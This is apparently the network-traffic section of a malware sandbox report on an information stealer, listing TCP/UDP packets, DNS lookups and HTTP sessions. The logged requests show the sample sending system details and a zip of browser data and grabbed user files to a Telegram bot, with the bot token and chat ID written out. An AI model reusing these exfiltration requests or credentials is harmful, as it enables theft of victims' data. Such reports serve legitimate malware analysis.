Jul 31, 2024 07:07:16.597477913 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.604402065 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.604422092 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.906585932 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.909193039 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.909209967 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.910490990 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.910495996 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.910564899 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.910578012 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.910887957 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.910907030 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.911102057 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.911236048 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.911329031 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.911344051 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.911360979 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.911370993 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.911950111 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.911962032 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.911978960 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.911984921 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:16.912098885 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:16.912220001 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:17.462259054 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:17.462331057 CEST	443	49734	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:17.462397099 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:17.462999105 CEST	49734	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:17.471458912 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:17.471492052 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:17.471659899 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:17.472016096 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:17.472026110 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:17.971569061 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:17.971637964 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:17.973690033 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:17.973696947 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:17.973967075 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:17.975203991 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:18.016532898 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:18.500158072 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:18.500369072 CEST	443	49735	104.20.3.235	192.168.2.4
Jul 31, 2024 07:07:18.500412941 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:18.500994921 CEST	49735	443	192.168.2.4	104.20.3.235
Jul 31, 2024 07:07:18.502664089 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:18.502686977 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:18.502757072 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:18.503288984 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:18.503302097 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.117830038 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.119539022 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.119554996 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.422986031 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.423383951 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.423412085 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.423577070 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.423583031 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.423691988 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.423712015 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.423839092 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.423862934 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.424169064 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.424194098 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.424310923 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.424333096 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.424340963 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.424350023 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.424420118 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.424437046 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.424452066 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.424474955 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.424511909 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.424546957 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.876116037 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.876214027 CEST	443	49738	149.154.167.220	192.168.2.4
Jul 31, 2024 07:07:19.876271009 CEST	49738	443	192.168.2.4	149.154.167.220
Jul 31, 2024 07:07:19.878571987 CEST	49738	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 31, 2024 07:07:11.091614008 CEST	62174	53	192.168.2.4	1.1.1.1
Jul 31, 2024 07:07:12.043070078 CEST	53	62174	1.1.1.1	192.168.2.4
Jul 31, 2024 07:07:12.087616920 CEST	53667	53	192.168.2.4	1.1.1.1
Jul 31, 2024 07:07:12.094558954 CEST	53	53667	1.1.1.1	192.168.2.4
Jul 31, 2024 07:07:12.860579014 CEST	60344	53	192.168.2.4	1.1.1.1
Jul 31, 2024 07:07:12.879178047 CEST	53	60344	1.1.1.1	192.168.2.4
Jul 31, 2024 07:07:14.019676924 CEST	60617	53	192.168.2.4	1.1.1.1
Jul 31, 2024 07:07:14.034284115 CEST	53	60617	1.1.1.1	192.168.2.4
Jul 31, 2024 07:07:17.464026928 CEST	50753	53	192.168.2.4	1.1.1.1
Jul 31, 2024 07:07:17.470622063 CEST	53	50753	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 31, 2024 07:07:11.091614008 CEST	192.168.2.4	1.1.1.1	0x2d9c	Standard query (0)	224.185.13.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jul 31, 2024 07:07:12.087616920 CEST	192.168.2.4	1.1.1.1	0xa468	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:12.860579014 CEST	192.168.2.4	1.1.1.1	0x2e29	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:14.019676924 CEST	192.168.2.4	1.1.1.1	0x9eb6	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:17.464026928 CEST	192.168.2.4	1.1.1.1	0x5a9c	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 31, 2024 07:07:12.043070078 CEST	1.1.1.1	192.168.2.4	0x2d9c	Name error (3)	224.185.13.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jul 31, 2024 07:07:12.094558954 CEST	1.1.1.1	192.168.2.4	0xa468	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:12.094558954 CEST	1.1.1.1	192.168.2.4	0xa468	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:12.879178047 CEST	1.1.1.1	192.168.2.4	0x2e29	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:12.879178047 CEST	1.1.1.1	192.168.2.4	0x2e29	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:14.034284115 CEST	1.1.1.1	192.168.2.4	0x9eb6	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:17.470622063 CEST	1.1.1.1	192.168.2.4	0x5a9c	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:17.470622063 CEST	1.1.1.1	192.168.2.4	0x5a9c	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Jul 31, 2024 07:07:17.470622063 CEST	1.1.1.1	192.168.2.4	0x5a9c	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

pastebin.com

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.16.185.241	80	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
Jul 31, 2024 07:07:12.104162931 CEST	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Jul 31, 2024 07:07:12.806792974 CEST	534	IN	HTTP/1.1 200 OK Date: Wed, 31 Jul 2024 05:07:12 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=CCa4RVE5dY95opMQWhoNl23Lx5uOydogInzFZ8gLiSE-1722402432-1.0.1.1-euclOF5ypacTOC.BrqmsvEO943gW_plo5.Reg8RVgeuW5PwcXeEc1w74FMxZ9T_RBOu8XD4YAwwE1Ayw5QWgGw; path=/; expires=Wed, 31-Jul-24 05:37:12 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8abb10434ef18c27-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 0a Data Ascii: 8.46.123.33
Jul 31, 2024 07:07:12.807862043 CEST	534	IN	HTTP/1.1 200 OK Date: Wed, 31 Jul 2024 05:07:12 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=CCa4RVE5dY95opMQWhoNl23Lx5uOydogInzFZ8gLiSE-1722402432-1.0.1.1-euclOF5ypacTOC.BrqmsvEO943gW_plo5.Reg8RVgeuW5PwcXeEc1w74FMxZ9T_RBOu8XD4YAwwE1Ayw5QWgGw; path=/; expires=Wed, 31-Jul-24 05:37:12 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8abb10434ef18c27-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 0a Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.44.66	443	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-31 05:07:13 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2024-07-31 05:07:13 UTC	783	IN	HTTP/1.1 200 OK Date: Wed, 31 Jul 2024 05:07:13 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Wed, 31 Jul 2024 05:07:13 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=86UpdAOHVE%2ByFdVCctbf4KqZ0%2BupmSQbjAjxgWiOEL1HWEfDWjLDwTcBDO8Myvv753WZsXtGqX2spZ18gsCy66IEVa35OcX3X2%2BNapUHJ41T7a5Wg8G0cFQas%2FLjC9E%2FJnXb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8abb10494bad4240-EWR alt-svc: h3=":443"; ma=86400
2024-07-31 05:07:13 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 32 32 34 30 32 34 33 33 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1722402433}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	149.154.167.220	443	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-31 05:07:14 UTC	1722	OUT	GET /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-07-31%201:07:02%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20899552%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20CT_BZ8R%0ARAM:%204095MB%0AHWID:%2049CC9AD8BB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20 [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2024-07-31 05:07:14 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 31 Jul 2024 05:07:14 GMT Content-Type: application/json Content-Length: 1880 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-31 05:07:14 UTC	1880	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 30 39 37 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 32 33 38 31 35 30 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 42 6f 74 73 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 42 6f 74 73 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 37 39 35 34 38 30 34 36 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 32 34 30 32 34 33 34 2c 22 74 65 78 74 Data Ascii: {"ok":true,"result":{"message_id":109795,"from":{"id":6082381502,"is_bot":true,"first_name":"DiamotrixBotss","username":"DiamotrixBotss_bot"},"chat":{"id":5795480469,"first_name":"Diamotrix","username":"Diamotrix","type":"private"},"date":1722402434,"text

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	149.154.167.220	443	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-31 05:07:15 UTC	171	OUT	GET /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1 Host: api.telegram.org
2024-07-31 05:07:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 31 Jul 2024 05:07:15 GMT Content-Type: application/json Content-Length: 298 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-31 05:07:15 UTC	298	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 30 39 37 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 32 33 38 31 35 30 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 42 6f 74 73 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 42 6f 74 73 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 37 39 35 34 38 30 34 36 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 69 61 6d 6f 74 72 69 78 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 32 34 30 32 34 33 35 2c 22 74 65 78 74 Data Ascii: {"ok":true,"result":{"message_id":109796,"from":{"id":6082381502,"is_bot":true,"first_name":"DiamotrixBotss","username":"DiamotrixBotss_bot"},"chat":{"id":5795480469,"first_name":"Diamotrix","username":"Diamotrix","type":"private"},"date":1722402435,"text

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	149.154.167.220	443	7132	C:\Users\user\Desktop\viVOqZjAT0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-31 05:07:16 UTC	254	OUT	POST /bot6082381502:AAFgFkge53k6kBZcTN8CBICiZV-VphQ1WgA/sendDocument?chat_id=5795480469 HTTP/1.1 Content-Type: multipart/form-data; boundary="18567fe5-3a12-4dc9-8dbd-9e3337ea578c" Host: api.telegram.org Content-Length: 154180 Expect: 100-continue
2024-07-31 05:07:16 UTC	25	IN	HTTP/1.1 100 Continue
2024-07-31 05:07:16 UTC	40	OUT	Data Raw: 2d 2d 31 38 35 36 37 66 65 35 2d 33 61 31 32 2d 34 64 63 39 2d 38 64 62 64 2d 39 65 33 33 33 37 65 61 35 37 38 63 0d 0a Data Ascii: --18567fe5-3a12-4dc9-8dbd-9e3337ea578c
2024-07-31 05:07:16 UTC	265	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 61 65 34 30 35 34 34 64 37 38 37 34 64 61 30 62 36 64 34 38 33 65 63 38 31 65 63 32 64 36 33 31 5c 6a 6f 6e 65 73 40 38 39 39 35 35 32 5f 65 6e 2d 43 48 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 43 25 33 41 25 35 43 55 73 65 72 73 25 35 43 6a 6f 6e 65 73 25 35 43 41 70 70 44 61 74 61 25 35 43 4c 6f 63 61 6c 25 35 43 61 65 34 30 35 34 34 64 37 38 37 34 64 61 30 62 36 64 34 38 33 65 63 38 31 65 63 32 64 36 33 31 25 35 43 6a 6f 6e 65 73 25 34 30 38 39 39 35 35 32 5f 65 6e 2d Data Ascii: Content-Disposition: form-data; name=document; filename="C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH.zip"; filename*=utf-8''C%3A%5CUsers%5Cuser%5CAppData%5CLocal%5Cae40544d7874da0b6d483ec81ec2d631%5Cuser%40899552_en-
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 90 2c ff 58 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 08 00 e2 08 ff 58 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 51 09 54 21 00 50 4b 03 04 14 00 00 00 08 00 e2 08 ff 58 63 c2 65 e7 53 00 00 00 5e 00 00 00 1c 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 48 69 73 74 6f 72 79 2e 74 78 74 53 56 56 56 70 cb 2c 4a 4d cb af 50 08 28 ca 2c 4b 4c ae Data Ascii: PK,XBrowsers\Edge\PKXQ3JiBrowsers\Firefox\Bookmarks.txtSVVVpO-QH)PPVVbTHg^Y~NYj\1)D!YUIf^BpIbQT!PKXceS^Browsers\Firefox\History.txtSVVVp,JMP(,KL
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: 98 ba 4a cb df da 4a 7b e1 ea 07 5f 3b ad fa fd fd 03 50 4b 03 04 14 00 00 00 08 00 51 40 44 57 64 2f 29 68 83 02 00 00 02 04 00 00 3e 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 65 73 6b 74 6f 70 5c 4f 4e 42 51 43 4c 59 53 50 55 5c 4f 4e 42 51 43 4c 59 53 50 55 2e 64 6f 63 78 15 53 49 6e 00 31 08 bb 57 ea a3 12 b2 07 b2 6f f0 ff 87 74 7a 43 08 19 db 98 5a 74 07 e4 d9 b6 36 aa 43 f4 5c ee 0b cd 96 5e 30 89 7f 10 de 2c 4f 0a 88 de 81 cd 6b 96 20 35 75 b9 cf 13 c8 e7 90 b6 73 8e 8d 7a 46 85 8a 55 89 6d eb ca ba c6 37 87 8f 08 1e 42 8c a9 3e 3a a3 d0 a6 15 e1 84 3e 6f 51 3e 32 74 5d 45 42 2d f7 ea 97 cd 4e ac 47 9b 58 9c 5f 3b ba 55 7c b2 6a d5 97 83 75 64 87 ea 72 34 75 9f 65 e7 67 34 f9 91 4c ad 5e 2d 91 Data Ascii: JJ{_;PKQ@DWd/)h>Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docxSIn1WotzCZt6C\^0,Ok 5uszFUm7B>:>oQ>2t]EB-NGX_;U\|judr4ueg4L^-
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: 51 40 44 57 59 f1 45 0f 84 02 00 00 02 04 00 00 34 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 6a 6f 6e 65 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 55 4d 4d 42 44 4e 45 51 42 4e 2e 6a 70 67 0d 93 49 92 45 21 08 04 f7 1d f1 0f e5 c8 73 42 45 05 f5 fe 07 69 83 15 6c aa a0 92 55 8a b6 e8 ba 46 0e 45 23 7c e7 1a 9d b6 94 1e d3 09 63 2a 1c 84 7e 6f 9d 54 0e c1 15 27 ca 77 d7 a6 2b d7 84 bd b1 74 0d 75 cb b0 67 28 49 e1 b4 18 26 92 2b 4c bb b5 78 fd 9a 05 88 08 a6 f9 38 3b e1 15 e1 ba d5 b9 62 67 65 9c 97 bb 4c 50 7e 37 0f 3b ac 5a f5 75 ae 40 91 d8 83 4b 29 98 13 e3 53 5c e9 5c 15 1d ac 9e c0 36 6a db 54 09 4d d3 82 4f ac bf 19 46 ba fc 14 b8 41 76 1e 21 70 d6 8c aa f2 56 0d d4 54 36 ea d0 a7 c6 08 b2 69 b8 93 cc e0 5b c7 34 fa 3b fe Data Ascii: Q@DWYE4Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.jpgIE!sBEilUFE#\|c*~oT'w+tug(I&+Lx8;bgeLP~7;Zu@K)S\\6jTMOFAv!pVT6i[4;
2024-07-31 05:07:16 UTC	16355	OUT	Data Raw: 2e d7 8d f6 b9 50 98 3a 0c 15 7b b3 a6 36 2a 69 5b c8 f6 54 d5 f5 0e e9 ac 0e fc 15 1e 8f 8b 6c ae 33 bc 60 f2 0c c6 d8 7c 43 9e d1 3a 00 4d fa 95 f9 a9 6c a0 30 9c cb 31 16 af ce bb 6e ef d5 b2 b9 b8 f7 09 17 e3 fd dc 70 d4 77 df 13 93 3e 15 f4 44 f6 6b 36 6d 9a 73 bd 56 4f b6 58 10 19 a1 ee 9c bb 2b 75 d2 66 0e 68 23 81 c2 46 39 05 59 ef 7a 4f b4 da bb 79 d5 58 0a db fc 3e 10 83 f1 32 94 8e f8 b6 29 06 4f 01 bb 03 bb cb 18 bc 5a ed 23 43 82 45 1f c7 77 fd d7 4b 92 d6 02 40 dc 5d c7 51 cb 68 a8 77 9d 1a e9 5a fb 32 7f df be 25 76 4c d9 88 6d b8 61 fb ba a3 b6 ae 7c d4 0d c5 06 3c 0f e1 33 1d e9 3d 3e 17 18 89 7b f4 6c c1 8b b6 74 52 1c 56 63 8f 0a b5 51 16 55 18 e5 7c d9 5f 5f 38 4a 90 42 7e a5 f9 dc 99 b0 62 aa 10 db 85 58 ff f1 78 45 f9 61 ab d2 70 b7 Data Ascii: .P:{6*i[Tl3`\|C:Ml01npw>Dk6msVOX+ufh#F9YzOyX>2)OZ#CEwK@]QhwZ2%vLma\|<3=>{ltRVcQU\|__8JB~bXxEap
